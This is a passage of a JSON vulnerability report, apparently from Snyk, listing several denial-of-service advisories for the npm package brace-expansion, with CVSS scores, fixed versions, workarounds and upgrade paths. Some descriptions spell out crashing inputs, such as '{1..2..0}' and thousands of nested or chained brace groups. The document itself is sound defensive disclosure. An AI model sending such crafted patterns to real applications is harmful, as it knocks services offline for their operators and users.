"secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large 